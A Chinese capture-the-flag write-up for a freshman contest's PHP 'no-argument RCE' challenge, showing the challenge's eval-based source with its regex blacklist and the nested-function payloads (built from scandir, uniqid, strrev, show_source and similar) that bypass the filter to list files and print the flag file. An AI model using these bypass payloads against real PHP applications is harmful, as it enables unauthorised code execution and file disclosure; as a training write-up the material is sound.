[每日一题]某新生赛的无参数RCE

前言

只能说我tcl,做了半天

wp

进入得源码


highlight_file(__FILE__);
if ($_POST['shell']) {
     
    $shell = $_POST['shell'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $shell)) {
     
        if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $shell)) {
     
            die('?');
        } else {
     
            eval($shell);
        }
    } else {
     
        die('??');
    }
}

看这个过滤就是无参数RCE,也就是函数一直套,然后套出你想要执行的命令,a(b(c())),但是不能带参数比如a(b(c(“123123”)))。
然后这个过滤非常之严格,file过滤了,那么常规的file,readfile等等都用不了,然后print_r也不能用,通过参考文章了解到可以用uniqid加上strrev函数随机取值然后爆破出我们想要的字符
echo(implode(scandir(chr(strrev(uniqid())))));
让他打印出当前目录下的文件,最后爆破得到
[每日一题]某新生赛的无参数RCE_第1张图片
当前目录下有个zzzzzz.php,怀疑flag就在里面,按照文章内容来说,他给的是file然后读取,通过implode函数来转换,但是这题过滤掉了。
通过本地种种调试,最后得出这样爆破的payload:
show_source(end(scandir(chr(strrev(uniqid())))));
还有一种
var_dump(show_source(pos(array_reverse(scandir(chr(ord(hebrev(crypt(time())))))))));
最后得到flag
[每日一题]某新生赛的无参数RCE_第2张图片

你可能感兴趣的:(每日一题,python,php,java)